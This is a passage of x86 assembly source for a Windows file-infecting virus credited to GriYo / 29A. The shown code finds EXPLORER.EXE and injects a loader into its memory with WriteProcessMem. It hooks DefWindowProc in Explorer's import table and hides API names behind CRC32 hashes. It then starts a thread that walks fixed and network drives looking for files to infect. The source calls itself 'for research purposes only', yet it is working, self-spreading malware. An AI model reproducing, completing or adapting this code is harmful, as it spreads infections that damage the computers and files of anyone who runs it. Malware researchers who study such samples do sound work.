jz CloseSnapshot
CheckProcEntry: lea esi,dword ptr [ebp+ProcEszExeFile]
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ?
je EFoundTryMod
;============================================================
;Go to next process
;============================================================
lea eax,dword ptr [ebp+ProcessEntry]
push eax ;lppe
push dword ptr [ebp+hSnapshot] ;hSnapshot
call dword ptr [ebp+a_Process32Next]
or eax,eax
jnz CheckProcEntry
CloseSnapshot: push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_CloseHandle]
jmp ExitMemWin9x
;============================================================
;Close snapshot and create a new one, but this time we are
;going to list modules loaded by EXPLORER.EXE
;============================================================
EFoundTryMod: push dword ptr [ebp+hSnapshot]
call dword ptr [ebp+a_CloseHandle]
push dword ptr [ebp+ProcEth32ProcessID] ;th32ProcessID
push TH32CS_SNAPMODULE ;dwFlags
call dword ptr [ebp+a_CreateToolhelp32Snapshot]
cmp eax,0FFFFFFFFh
je ExitMemWin9x
mov dword ptr [ebp+hSnapshot],eax
;============================================================
;Perfect !!!! Lets retrieve 1st module using Module32First
;============================================================
lea edi,dword ptr [ebp+ModuleEntry]
push edi ;lpme
mov dword ptr [edi],SIZEOFMODULEENTRY
push eax ;hSnapshot
call dword ptr [ebp+a_Module32First]
or eax,eax
jz CloseSnapshot
;============================================================
;Check if this is the module we are interested in
;============================================================
CheckEMod: mov eax,dword ptr [ebp+ProcEth32ModuleID]
cmp eax,dword ptr [ebp+ModEth32ModuleID]
je GetModDone
;============================================================
;Go to next module
;============================================================
push edi ;lpme
push dword ptr [ebp+hSnapshot] ;hSnapshot
call dword ptr [ebp+a_Module32Next]
or eax,eax
jnz CheckEMod
jmp CloseSnapshot ;Abort if module not found
;============================================================
;Ohj0j0... Fine! Here we are with EXPLORER.EXE module handle
;============================================================
GetModDone: mov edx,dword ptr [ebp+ModEhModule]
mov dword ptr [ebp+hModule],edx
;============================================================
;Open process
;============================================================
mov eax,dword ptr [ebp+ProcEth32ProcessID]
call OpenProcess
or eax,eax
jz CloseSnapshot
;============================================================
;Duh! EXPLORER.EXE process is now 0wN3d
;============================================================
call FuckExplorer
;============================================================
;Close process
;============================================================
push dword ptr [ebp+hProcess]
call dword ptr [ebp+a_CloseHandle]
jmp CloseSnapshot
;============================================================================
;Residency routines for Windows NT & Windows 2000
;============================================================================
;============================================================
;Hands on USER32 apis for Windows NT (Use wide versions)
;============================================================
MemInfectWinNt: mov eax,dword ptr [ebp+CRCszUSER32]
mov ecx,NumUSER32Apis
lea esi,dword ptr [ebp+CRC32USER32Apiswnt]
lea edi,dword ptr [ebp+epUSER32Apis]
call VirLoadLib
mov dword ptr [ebp+hUSER32],eax
or eax,eax
jz GoBack2Host
;============================================================
;We need PSAPI.DLL to do the trick
;============================================================
mov eax,dword ptr [ebp+CRCszPSAPI]
mov ecx,NumPSAPIApis
lea esi,dword ptr [ebp+CRC32PSAPIApis]
lea edi,dword ptr [ebp+epPSAPIApis]
call VirLoadLib
mov dword ptr [ebp+hPSAPI],eax
or eax,eax
jz FreeUSER32
;============================================================
;Get a list of loaded processes (Max. 32 processes)
;============================================================
DonePSAPI: lea edi,dword ptr [ebp+EP_Bytes]
push edi ;cbNeeded
push 00000080h ;cb
lea esi,dword ptr [ebp+ProcessIdList]
push esi
call dword ptr [ebp+a_EnumProcesses]
or eax,eax
jz ExitMemNt
;============================================================
;To determine how many processes were enumerated by the call
;to EnumProcesses, divide the resulting value in the cbNeeded
;parameter by sizeof(DWORD)
;============================================================
mov ecx,dword ptr [edi]
shr ecx,02h ;Divide ECX by 4... Nice, isnt it?
jecxz ExitMemNt
;============================================================
;Now we have a list of process identifiers... Follow it
;============================================================
ProcessLookUp: push ecx
cld
lodsd
push esi
;============================================================
;Open process
;============================================================
call OpenProcess
or eax,eax
jz TryNextProcess
;============================================================
;Enumerate process modules... The 1st obtained module
;is the executable itself
;============================================================
lea edx,dword ptr [ebp+EP_Bytes] ;lpcbNeeded
push edx
push 00000080h ;cb
lea esi,dword ptr [ebp+ModuleList]
push esi ;lphModule
push eax ;hProcess
call dword ptr [ebp+a_EnumProcessModules]
or eax,eax
jz NCProcess
cld
lodsd ;The first module is the .EXE itself
mov dword ptr [ebp+hModule],eax
;============================================================
;Get module name using GetModuleBaseNameA API
;============================================================
push MAX_PATH ;nSize
lea esi,dword ptr [ebp+BufStrFilename]
push esi ;lpBaseName
push eax ;hModule
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_GetModuleBaseNameA]
or eax,eax
jz NCProcess
;============================================================
;Module name is EXPLORER.EXE (use CRC32 comparison)
;============================================================
mov edi,esi
call parse_filename
mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+CRCszEXPLORER] ;Is EXPLORER.EXE ?
jne NCProcess
;============================================================
;If EXPLORER.EXE found cleanup and go to the memory
;infection procedure
;============================================================
pop eax
pop eax
call FuckExplorer
;============================================================
;Close process
;============================================================
push dword ptr [ebp+hProcess]
call dword ptr [ebp+a_CloseHandle]
jmp ExitMemNt
;============================================================
;Try next process
;============================================================
NCProcess: push dword ptr [ebp+hProcess]
call dword ptr [ebp+a_CloseHandle]
TryNextProcess: pop esi
pop ecx
loop ProcessLookUp
;============================================================
;Residency proc failed!
;============================================================
ExitMemNt: push dword ptr [ebp+hPSAPI]
call dword ptr [ebp+a_FreeLibrary]
jmp FreeUSER32
;============================================================================
;Open process
;
;On entry:
; eax -> Process id
;On exit:
; eax -> Handle to process or NULL if error
;============================================================================
PROCESS_TERMINATE equ 00000001h
PROCESS_CREATE_THREAD equ 00000002h
PROCESS_SET_SESSIONID equ 00000004h
PROCESS_VM_OPERATION equ 00000008h
PROCESS_VM_READ equ 00000010h
PROCESS_VM_WRITE equ 00000020h
PROCESS_DUP_HANDLE equ 00000040h
PROCESS_CREATE_PROCESS equ 00000080h
PROCESS_SET_QUOTA equ 00000100h
PROCESS_SET_INFORMATION equ 00000200h
PROCESS_QUERY_INFORMATION equ 00000400h
OpenProcess: push eax
push 00000000h
push PROCESS_QUERY_INFORMATION or \
PROCESS_VM_READ or \
PROCESS_VM_WRITE or \
PROCESS_VM_OPERATION
call dword ptr [ebp+a_OpenProcess]
mov dword ptr [ebp+hProcess],eax
ret
;============================================================================
;Infect EXPLORER.EXE in memory
;============================================================================
;============================================================
;Now search for the section header list
;============================================================
FuckExplorer: mov ebx,dword ptr [ebp+hModule]
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_MZ_lfanew]
mov eax,ebx
add eax,MZ_lfanew
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsd ;There is a CLD at the end of ReadProcessMem
or eax,eax ;Now esi -> Explorer_FH_SizeOfOptionalHeader
jz FE_Exit
; eax -> MZ_lfanew
add eax,ebx
mov edi,eax
add eax,00000004h + FH_SizeOfOptionalHeader
dec ecx
dec ecx
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;Just to do
;esi -> Explorer_FH_NumberOfSections
mov eax,edi
add eax,00000004h + FH_NumberOfSections
call ReadProcessMem
or eax,eax
jz FE_Exit
lodsw ;esi -> Explorer_SectionHeader
movzx ecx,ax ;ecx -> Number of sections
movzx eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
add edi,eax
add edi,00000004h + IMAGE_SIZEOF_FILE_HEADER
;============================================================
;Search for a suitable section
;============================================================
ExplorerHole: push ecx
mov eax,edi
mov ecx,IMAGE_SIZEOF_SECTION_HEADER
call ReadProcessMem
or eax,eax
jz E_NextSection
;============================================================
;Is this a valid section?
;============================================================
cmp dword ptr [esi+SH_Characteristics], \
IMAGE_SCN_MEM_READ or \
IMAGE_SCN_MEM_WRITE or \
IMAGE_SCN_CNT_INITIALIZED_DATA
jne E_NextSection
mov eax,dword ptr [esi+SH_SizeOfRawData]
sub eax,dword ptr [esi+SH_VirtualSize]
js E_NextSection
cmp eax,SIZEOF_EVL
jae Ok_E_Section
;============================================================
;Try next section
;============================================================
E_NextSection: add edi,ecx
pop ecx
loop ExplorerHole
;============================================================
;No suitable section found
;============================================================
jmp FE_Exit
;============================================================
;Yes, this is a valid section... Write virus loader
;============================================================
Ok_E_Section: pop ecx ;Cleanup stack
mov eax,dword ptr [ebp+a_DefWindowProc]
mov dword ptr [ebp+EVL_a_OrginalApiAddr],eax
mov eax,dword ptr [ebp+a_OpenFileMappingA]
mov dword ptr [ebp+EVL_a_OpenFileMapping],eax
mov eax,dword ptr [ebp+a_MapViewOfFile]
mov dword ptr [ebp+EVL_a_MapViewOfFile],eax
mov eax,ebx
add eax,dword ptr [esi+SH_VirtualAddress]
add eax,dword ptr [esi+SH_VirtualSize]
mov dword ptr [ebp+Explorer_Patch],eax
mov ecx,SIZEOF_EVL
lea esi,dword ptr [ebp+EVL_code]
call WriteProcessMem
or eax,eax
jz FE_Exit
;============================================================
;Go to EXPLORER.EXE data directory
;============================================================
mov eax,ebx
add eax,dword ptr [ebp+Explorer_MZ_lfanew]
add eax,00000004h + \
IMAGE_SIZEOF_FILE_HEADER + \
OH_DataDirectory.DE_Import.DD_VirtualAddress
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_DE_Import]
call ReadProcessMem
or eax,eax
jz FE_Exit
;============================================================
;Search for USER32 import module descriptor
;============================================================
lodsd
add eax,ebx
mov edi,eax
E_Search_K32: mov eax,edi
mov ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
lea esi,dword ptr [ebp+Explorer_ImportDescriptor]
call ReadProcessMem
or eax,eax
jz FE_Exit
;============================================================
;Last import module descriptor!?
;============================================================
cmp dword ptr [esi],00000000h
je FE_Exit
;============================================================
;Check import module descriptor ID_Name
;============================================================
mov eax,ebx
add eax,dword ptr [esi+ID_Name]
mov ecx,00000010h
lea esi,dword ptr [ebp+Explorer_ID_Name]
call ReadProcessMem
or eax,eax
jz FE_Exit
push edi
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
pop edi
cmp edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
je E_Found_K32
;============================================================
;Next import module descriptor
;============================================================
add edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp E_Search_K32
;============================================================
;USER32.DLL import module descriptor found
;============================================================
E_Found_K32: mov edi,dword ptr [ebp+ \
Explorer_ImportDescriptor+ \
ID_FirstThunk]
add edi,ebx
mov ecx,00000004h
lea esi,dword ptr [ebp+Explorer_Hook]
E_NextThunk: mov eax,edi
call ReadProcessMem
or eax,eax
jz FE_Exit
mov eax,dword ptr [esi]
or eax,eax
jz FE_Exit
cmp eax,dword ptr [ebp+a_DefWindowProc]
je E_Poison
add edi,ecx
jmp E_NextThunk
;============================================================
;Gotcha!
;============================================================
E_Poison: mov eax,edi
mov dword ptr [ebp+Explorer_Init_Hook],eax
lea esi,dword ptr [ebp+Explorer_Patch]
call WriteProcessMem ; ECX already loaded
or eax,eax
jz FE_Exit
;============================================================
;Done!!!! ieieie!!!!
;============================================================
FE_Exit: ret
;============================================================================
;Code injected into EXPLORER.EXE
;
;The purpose of this code is to get access to virus memory from EXPLORER.EXE
;============================================================================
EVL_code equ $
;============================================================
;Let some space for the return address... then save all regs
;============================================================
push eax
pushad
;============================================================
;This is the original address of the API... Lets make the
;return address point to it
;============================================================
db 0B8h ; EAX -> Original API address
EVL_a_OrginalApiAddr dd 00000000h
mov dword ptr [esp+cPushad],eax
;============================================================
;Attempt to avoid reentrance problems
;============================================================
call MultiThreadSafe
db 00h ;Only changed over hook code, not over main virus body
MultiThreadSafe:pop esi
mov edi,esi
cld
lodsb
or al,al
jnz MayBeOnNextCall
dec al
stosb
;============================================================
;Try to open the virus file-mapping
;
;There is some kinda race condition here... If the infected
;program terminates before this point we wont be able to
;find the rest of the virus in memory...
;
;In that case the hook will stay present, and this code may
;be able to find the virus memory-mapping on next attemps
;============================================================
call GetszObjName ;lpName
szObjectName db 10h dup (00h)
GetszObjName: push 00000000h ;bInheritHandle
mov edi,FILE_MAP_WRITE
push edi ;dwDesiredAccess
db 0B8h ; EAX -> OpenFileMappingA
EVL_a_OpenFileMapping dd 00000000h
call eax
or eax,eax
jz MayBeOnNextCall
;============================================================
;The file-mapping is here... Get an image of it
;============================================================
xor edx,edx
push edx
push edx
push edx
push edi
push eax
db 0B8h ; EAX -> OpenFileMappingA
EVL_a_MapViewOfFile dd 00000000h
call eax
or eax,eax
jz MayBeOnNextCall
;============================================================
;Great! We have access to virus allocated memory, but
;remember we are now inside EXPLORER.EXE !!!!
;
;Jump to virus complete image in order to complete
;initialization inside EXPLORER.EXE
;============================================================
add eax,offset ExplorerInit - offset viro_sys
call eax
;============================================================
;Restore regs and jump to original API code
;============================================================
MayBeOnNextCall:popad
ret
SIZEOF_EVL equ $-EVL_code
;============================================================================
;Read process memory routine
;
;On entry:
; eax -> Pointer to the base address from which to read
; ecx -> Specifies the requested number of bytes to read
; esi -> Pointer to a buffer that receives the contents from
; the address address
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
;============================================================================
ReadProcessMem: push edi
push ecx
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesRead
push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_ReadProcessMemory]
pop ecx
or eax,eax
jz ExitREM
cmp dword ptr [edi],ecx
je ExitREM
xor eax,eax
ExitREM: pop edi
cld
ret
;============================================================================
;Write process memory routine
;
;On entry:
; eax -> Pointer to the base address in the specified process
; to which data will be written
; ecx -> Specifies the number of bytes to write
; esi -> Pointer to the buffer that contains data to be written
;
; [ebp+hProcess] contains the target process handle
;
;On exit:
; eax -> NULL if error
;
; ebx, ecx, esi, edi, ebp preserved
;============================================================================
WriteProcessMem:push edi
push ecx
lea edi,dword ptr [ebp+EP_Bytes] ;lpNumberOfBytesWritten
push edi
push ecx ;nSize
push esi ;lpBuffer
push eax ;lpBaseAddress
push dword ptr [ebp+hProcess] ;hProcess
call dword ptr [ebp+a_WriteProcessMemory]
pop ecx
or eax,eax
jz ExitWEM
cmp dword ptr [edi],ecx
je ExitWEM
xor eax,eax
ExitWEM: pop edi
cld
ret
;============================================================================
;Make crc lookup table
;
;Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
;x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
;
;Polynomials over GF(2) are represented in binary, one bit per coefficient,
;with the lowest powers in the most significant bit. Then adding polynomials
;is just exclusive-or, and multiplying a polynomial by x is a right shift by
;one. If we call the above polynomial p, and represent a byte as the
;polynomial q, also with the lowest power in the most significant bit (so the
;byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
;where a mod b means the remainder after dividing a by b.
;
;This calculation is done using the shift-register method of multiplying and
;taking the remainder. The register is initialized to zero, and for each
;incoming bit, x^32 is added mod p to the register if the bit is a one (where
;x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
;x (which is shifting right by one and adding x^32 mod p if the bit shifted
;out is a one). We start with the highest power (least significant bit) of
;q and repeat for all eight bits of q.
;
;The table is simply the CRC of all possible eight bit values. This is all
;the information needed to generate CRC's on data a byte at a time for all
;combinations of CRC register values and incoming bytes.
;
;Original C code by Mark Adler
;Translated to asm for Win32 by GriYo
;============================================================================
make_crc_tbl:
;============================================================================
;Make exclusive-or pattern from polynomial (0EDB88320h)
;
;The following commented code is an example of how to
;make the exclusive-or pattern from polynomial
;at runtime
;
; xor edx,edx
; mov ecx,0000000Eh
; lea ebx,dword ptr [ebp+tbl_terms]
;calc_poly: mov eax,ecx
; xlatb
; sub eax,0000001Fh
; neg eax
; bts edx,eax
; loop calc_poly
;
; edx contains now the exclusive-or pattern
;
; The polynomial is:
;
; X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0
;
;tbl_terms db 0,1,2,4,5,7,8,10,11,12,16,22,23,26
;
;============================================================================
cld
mov ecx,00000100h
lea edi,dword ptr [ebp+tbl_crc32]
crc_tbl_do: mov eax,000000FFh
sub eax,ecx
push ecx
mov ecx,00000008h
make_crc_value: shr eax,01h
jnc next_value
xor eax,0EDB88320h
next_value: loop make_crc_value
pop ecx
stosd
loop crc_tbl_do
ret
;============================================================================
;Return a 32bit CRC of the contents of the buffer
;
;On entry:
; esi -> Ptr to buffer
; ecx -> Buffer size
;On exit:
; edx -> 32bit CRC
;============================================================================
get_crc32: cld
push edi
xor edx,edx
lea edi,dword ptr [ebp+tbl_crc32]
crc_calc: push ecx
lodsb
xor eax,edx
and eax,000000FFh
shr edx,08h
xor edx,dword ptr [edi+eax]
pop ecx
loop crc_calc
pop edi
ret
;============================================================================
;Get a 32bit CRC of a null terminated array
;
;On entry:
; esi -> Ptr to string
;Exit:
; edx -> 32bit CRC
;============================================================================
get_str_crc32: cld
push ecx
push edi
mov edi,esi
xor eax,eax
mov ecx,eax
crc_sz: inc ecx
scasb
jnz crc_sz
call get_crc32
pop edi
pop ecx
ret
;============================================================================
;Get the entry-point of GetProcAddress
;
;On entry:
; ebx -> KERNELL32 base address
;On exit:
; ecx -> Address of GetProcAddress
;============================================================================
GetGetProcAddr: cld
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
mov edx,dword ptr [eax+ \
ebx+ \
NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress]
add edx,ebx
mov esi,dword ptr [edx+ED_AddressOfNames]
add esi,ebx
mov edi,dword ptr [edx+ED_AddressOfNameOrdinals]
add edi,ebx
mov ecx,dword ptr [edx+ED_NumberOfNames]
function_loop: lodsd
push edx
push esi
lea esi,dword ptr [eax+ebx] ;Get ptr to API name
call get_str_crc32 ;Get CRC32 of API name
pop esi
cmp edx,dword ptr [ebp+CrcGetProcAddr]
je API_found
inc edi
inc edi
pop edx
loop function_loop
ret
API_found: pop edx
movzx eax,word ptr [edi]
sub eax,dword ptr [edx+ED_BaseOrdinal]
inc eax
shl eax,02h
mov esi,dword ptr [edx+ED_AddressOfFunctions]
add esi,eax
add esi,ebx
lodsd
lea ecx,dword ptr [eax+ebx]
ret
;============================================================================
;Get the entry-point of each needed API
;
;This routine uses the CRC32 instead of API names
;
;On entry:
; ebx -> Base address of DLL
; ecx -> Number of APIs in the folling buffer
; esi -> Buffer filled with the CRC32 of each API name
; edi -> Recives found API addresses
;On exit:
; ecx -> Is 00000000h if everything was ok
;============================================================================
get_APIs: cld
get_each_API: push ecx
push esi
;============================================================
;Get a pointer to the EXPORT data
;============================================================
mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
mov edx,dword ptr [eax+ \
ebx+ \
NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress]
add edx,ebx
mov esi,dword ptr [edx+ED_AddressOfNames]
add esi,ebx
mov ecx,dword ptr [edx+ED_NumberOfNames]
;============================================================
;Try to find an API name that matches given CRC32
;============================================================
API_Loop: lodsd
push esi ;Ptr to AddressOfNames
lea esi,dword ptr [eax+ebx]
push esi ;Save ptr to API name
call get_str_crc32
mov esi,dword ptr [esp+00000008h]
lodsd
cmp eax,edx
je CRC_API_found
pop eax ;Remove API name from stack
pop esi ;Ptr to RVA for next API name
loop API_Loop
get_API_error: pop esi ;Ptr to CRC's of API names
pop ecx ;Number of API's
ret ;Exit with error (ecx!=NULL)
;============================================================
;The ptr to API name is already on stack, now push the
;module handle and call GetProcAddress
;============================================================
CRC_API_found: push ebx
call dword ptr [ebp+a_GetProcAddress]
cld ;Dont let the API call change this
pop edx ;Remove ptr to RVA for next name
or eax,eax
jz get_API_error;If GetProcAddress returned NULL exit
stosd ;Save the API address into given table
pop esi ;Ptr to CRC's of API names
lodsd
pop ecx
loop get_each_API
ret
;============================================================================
;Find base address of KERNEL32.DLL
;Thanks to Jacky Qwerty for the SEH routines
;============================================================================
SEH_Block_0000 macro
add esp,-cPushad
jnz GNtBA_L1
endm
IGetNtBaseAddr: @SEH_SetupFrame <SEH_Block_0000>
mov ecx,edx
xchg ax,cx
GNtBA_L0: dec cx
jz GNtBA_L2
add eax,-10000h
pushad
mov bx,-IMAGE_DOS_SIGNATURE
add bx,word ptr [eax]
mov esi,eax
jnz GNtBA_L1
mov ebx,-IMAGE_NT_SIGNATURE
add eax,dword ptr [esi.MZ_lfanew]
mov edx,esi
add ebx,dword ptr [eax]
jnz GNtBA_L1
add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries. \
DE_Export.DD_VirtualAddress]
add esi,dword ptr [edx.ED_Name]
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+CrcKernel32] ;Is KERNEL32.DLL ?
je k32_f
GNtBA_L1: popad
jmp GNtBA_L0
k32_f: popad
xchg ecx,eax
inc eax
GNtBA_L2: @SEH_RemoveFrame
ret
;============================================================================
;VirLoadLib
;
;To use CRC32 instead of API names sounds cool... But there are still some
;strings authors cant get rid of... When calling LoadLibrary the virus must
;specify the DLL name
;
;This routine is the solution to avoid the usage of DLL names
;
;On entry:
; eax -> CRC32 of DLL name
; esi -> CRC32 of API names
; edi -> Where to put API addresses
; ecx -> Number of APIs to find
;On exit:
; eax -> Module handle or NULL on error
;============================================================================
VirLoadLib: push ecx
push esi
push edi
mov dword ptr [ebp+a_SDLL_CRC32],eax
lea eax,dword ptr [ebp+DirectFindData]
push eax ;lpFindFileData
lea eax,dword ptr [ebp+szSYSTEMDIR] ;lpFileName
push eax
call dword ptr [ebp+a_FindFirstFileA]
cmp eax,INVALID_HANDLE_VALUE
jz EVirLoadLib
mov dword ptr [ebp+h_Find],eax
CheckDllName: lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
mov esi,edx
call get_str_crc32
cmp edx,dword ptr [ebp+a_SDLL_CRC32]
je OkCheckDll
lea eax,dword ptr [ebp+DirectFindData]
push eax ;lpFindFileData
push dword ptr [ebp+h_Find] ;hFindFile
call dword ptr [ebp+a_FindNextFileA]
or eax,eax
jnz CheckDllName
EVirLoadLib: pop edi
pop esi
pop ecx
xor eax,eax
ret
OkCheckDll: lea esi,dword ptr [ebp+szSYSTEMDIR]
lea edi,dword ptr [ebp+BufStrFilename]
push edi
call parse_filename
lea esi,dword ptr [ebp+DirectFindData+WFD_szFileName]
mov edi,edx
call parse_filename
call dword ptr [ebp+a_LoadLibraryA]
or eax,eax
jz EVirLoadLib
mov ebx,eax
pop edi
pop esi
pop ecx
call get_APIs
jecxz OkVirLoadLib
push ebx
call dword ptr [ebp+a_FreeLibrary]
xor eax,eax
ret
OkVirLoadLib: mov eax,ebx
ret
;============================================================================
;This routine takes a string pointed by esi and copies
;it into a buffer pointed by edi
;
;The result string will be converted to upper-case
;
;On entry:
; esi -> Pointer to source string
; edi -> Pointer to returned string
;
;On exit:
; al -> Null
; edx -> Points to character next to last \
; edi -> Points 1byte above the null terminator
;============================================================================
parse_filename: mov edx,edi
cld
ScanZstring: lodsb
cmp al,"a"
jb no_upper
cmp al,"z"
ja no_upper
and al,0DFh
no_upper: stosb
cmp al,"\"
jne err_slash_pos
mov edx,edi
err_slash_pos: or al,al
jnz ScanZstring
ret
;============================================================================
;Copyright notice and disclaimer
;============================================================================
copyright db '[ Dengue Hemorrhagic Fever'
db ' BioCoded by GriYo / 29A ]'
disclaimer db ' Disclaimer: This software has been designed'
db ' for research purposes only. The author is'
db ' not responsible for any problems caused due to'
db ' improper or illegal usage of it '
;============================================================================
;Virus initialization ( inside EXPLORER.EXE )
;============================================================================
ExplorerInit: call ExplorerDelta
ExplorerDelta: pop ebp
sub ebp,offset ExplorerDelta
;============================================================
;Get current local time
;============================================================
FreeExplorerOk: lea esi,dword ptr [ebp+local_time]
push esi
call dword ptr [ebp+a_GetLocalTime]
;============================================================
;Initialize random number generator seed using current
;year and current month
;============================================================
cld
lodsw
rol eax,10h
lodsw
mov dword ptr [ebp+rnd32_seed],eax
;============================================================
;Locate KERNEL32 code section in memory... This information
;will be used later in the EPO routines
;============================================================
mov ebx,dword ptr [ebp+hKERNEL32]
call get_code_sh
mov eax,dword ptr [edi+SH_VirtualAddress]
add eax,ebx
mov dword ptr [ebp+K32CodeStart],eax
add eax,dword ptr [edi+SH_VirtualSize]
mov dword ptr [ebp+K32CodeEnd],eax
;============================================================
;Sleep for a moment, before start making noise
;============================================================
push 00005000h
call dword ptr [ebp+a_Sleep]
;============================================================
;Load IMAGEHLP.DLL
;
;The ImageHlp functions are supported by the Microsoft
;Windows NT, Windows 95, and Windows 98 operating systems...
;They are used mostly by programming tools, application setup
;utilities, and other programs that need access to the data
;contained in a PE image
;============================================================
mov eax,dword ptr [ebp+CRCszIMGHLP]
mov ecx,NumIMGHLPApis
lea esi,dword ptr [ebp+CRC32IMGHLPApis]
lea edi,dword ptr [ebp+epIMGHLPApis]
call VirLoadLib
mov dword ptr [ebp+hIMGHLP],eax
;============================================================
;Load SFC.DLL (Windows 2000 only)
;============================================================
mov dword ptr [ebp+hSFC],00000000h
cmp dword ptr [ebp+dwMajorVersion],00000005h
jb Ready2Infect
mov eax,dword ptr [ebp+CRCszSFC]
mov ecx,NumSFCApis
lea esi,dword ptr [ebp+CRC32SFCApis]
lea edi,dword ptr [ebp+epSFCApis]
call VirLoadLib
mov dword ptr [ebp+hSFC],eax
;============================================================
;Initialization inside EXPLORER.EXE complete...
;
;Now create a thread to search for files to infect and
;get control back to EXPLORER.EXE
;============================================================
Ready2Infect: lea eax,dword ptr [ebp+IF_ThreadID]
push eax ;lpThreadId
xor edx,edx
push edx ;dwCreationFlags
push edx ;lpParameter
lea eax,dword ptr [ebp+InfectionThread]
push eax ;lpStartAddress
push edx ;dwStackSize
push edx ;lpThreadAttributes
call dword ptr [ebp+a_CreateThread]
or eax,eax
jz AfterThread
ret ; Let the thread running until terminates
;============================================================
;Free SFC
;============================================================
AfterThread: mov eax,dword ptr [ebp+hSFC]
or eax,eax
jz SfcNotLoaded
push eax
call dword ptr [ebp+a_FreeLibrary]
;============================================================
;Free IMAGEHLP
;============================================================
SfcNotLoaded: mov eax,dword ptr [ebp+hIMGHLP]
or eax,eax
jz ExitIThread
push eax
call dword ptr [ebp+a_FreeLibrary]
ret
;============================================================================
;Virus infection thread, created from inside EXPLORER.EXE process
;============================================================================
InfectionThread:call ThreadDelta
ThreadDelta: pop ebp
sub ebp,offset ThreadDelta
lea esi,dword ptr [ebp+szLogicalDrives]
mov edi,SIZEOF_LDSB
push esi
push edi
call dword ptr [ebp+a_GetLogicalDriveStringsA]
or eax,eax
jz ExitIThread
cmp eax,edi
ja ExitIThread
;============================================================
;Follow the drives chain
;============================================================
DrivesLoop: cmp byte ptr [esi],00h
jnz MoreDrives
;============================================================
;Terminate infection thread
;============================================================
ExitIThread: call AfterThread
push 00000000h
call dword ptr [ebp+a_ExitThread] ;Leave the thread
;============================================================
;Check drive type, only fixed or remote drives allowed
;============================================================
MoreDrives: push esi
call dword ptr [ebp+a_GetDriveTypeA]
cmp eax,00000003h ; DRIVE_FIXED
je CheckThisDrive
cmp eax,00000004 ; DRIVE_REMOTE
jne NextDrive
;============================================================
;Got it! Do recursive search on drive
;============================================================
CheckThisDrive: push esi
lea edi,dword ptr [ebp+BufGetDir]
push edi
call parse_filename
call Search4Files
pop edi
pop esi
NextDrive: cld
NextDString: lodsb
or al,al
jnz NextDString
jmp DrivesLoop
;============================================================================
;Search for target...
;
;This routine its able to call itself in order to perform a recursive
;search all along the entire directory tree
;
;============================================================================
;============================================================
;Store local information on the stack
;============================================================
Search4Files: sub esp,SIZEOF_WIN32_FIND_DATA + 00000004h
mov ebx,esp
;Find frame:
;
; Path where to perform search ( size MAX_PATH )
; Return address ( size DWORD )
; FindHandle ( size DWORD )
; Find data ( size SIZEOF_WIN32_FIND_DATA )
FindStack_Ptr2FindData equ 00000000h
FindStack_Ptr2FindHandle equ SIZEOF_WIN32_FIND_DATA
FindStack_Ptr2ReturnAddress equ SIZEOF_WIN32_FIND_DATA + 00000004h
FindStack_Ptr2SearchPath equ SIZEOF_WIN32_FIND_DATA + 00000008h
;============================================================
;Do FindFirstFile
;============================================================
push ebx ; lpFindFileData
mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
mov edi,esi
push edi ; lpFileName
call parse_filename
dec edi
cmp byte ptr [edi-00000001h],'\'
jne RootAware
dec edi
RootAware: mov eax,'*.*\'
stosd
xor eax,eax
stosb
call dword ptr [ebp+a_FindFirstFileA]
cmp eax,INVALID_HANDLE_VALUE
je ErrorFindFirst
mov dword ptr [ebx+FindStack_Ptr2FindHandle],eax
;============================================================
;Find data ready to be checked
;============================================================
GoFindRecord: lea esi,dword ptr [ebx+WFD_szFileName]
cld
lodsd
;============================================================
;Check for . and ..
;============================================================
cmp ax,002Eh
je DoFindNext
and eax,00FFFFFFh
cmp eax,00002E2Eh
je DoFindNext
;============================================================
;Check if this is a directory
;============================================================
mov eax,dword ptr [ebx]
test eax,FILE_ATTRIBUTE_DIRECTORY
jz DoFileFound
;============================================================
;Directory found, perform recursive search on it
;============================================================
push ebx
mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
sub esp,MAX_PATH
mov edi,esp
push edi
call parse_filename
lea esi,dword ptr [ebx+WFD_szFileName]
mov edi,edx
call parse_filename
call Search4Files
pop edi
add esp,MAX_PATH
pop ebx
jmp DoFindNext
;============================================================
;File found, check if its a valid host
;============================================================
